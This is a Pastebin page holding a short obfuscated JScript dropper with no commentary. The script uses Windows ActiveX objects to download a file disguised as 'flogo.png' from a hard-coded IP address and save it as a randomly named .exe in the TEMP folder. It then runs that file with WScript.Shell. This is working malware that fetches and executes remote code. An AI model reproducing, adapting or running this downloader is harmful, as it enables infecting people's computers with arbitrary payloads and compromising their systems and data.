Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var V = new ActiveXObject('WScript.Shell');
- function ycNHj(oJ) {
- var fe = '';
- var af = '1234567890abcdef';
- for (var y7 = 0; y7 < oJ; y7++) {
- fe += af.charAt(Math.floor(Math.random() * af.length));
- }
- return fe;
- }
- function fv(rwk, jK) {
- try {
- var _ = V.ExpandEnvironmentStrings('%TEMP%') + '\\' + ycNHj(32) + '.exe';
- var n = new ActiveXObject('MSXML2.XMLHTTP');
- n.onreadystatechange = function() {
- if (n.readyState == 4 && n.status == 200) {
- var T9S5 = new ActiveXObject('ADODB.Stream');
- T9S5.Open();
- T9S5.Type = 1;
- T9S5.Write(n.ResponseBody);
- T9S5.Position = 0;
- T9S5.SaveToFile(_);
- T9S5.Close();
- }
- };
- n.open('GET', rwk, false);
- n.send();
- return jK(_, null);
- } catch (xVg) {
- return jK(null, xVg);
- }
- }
- fv('http://95.213.192.89/flogo.png', function(mPCA, kxc) {
- if (!kxc) {
- V.Run(mPCA);
- }
- });
Add Comment
Please, Sign In to add comment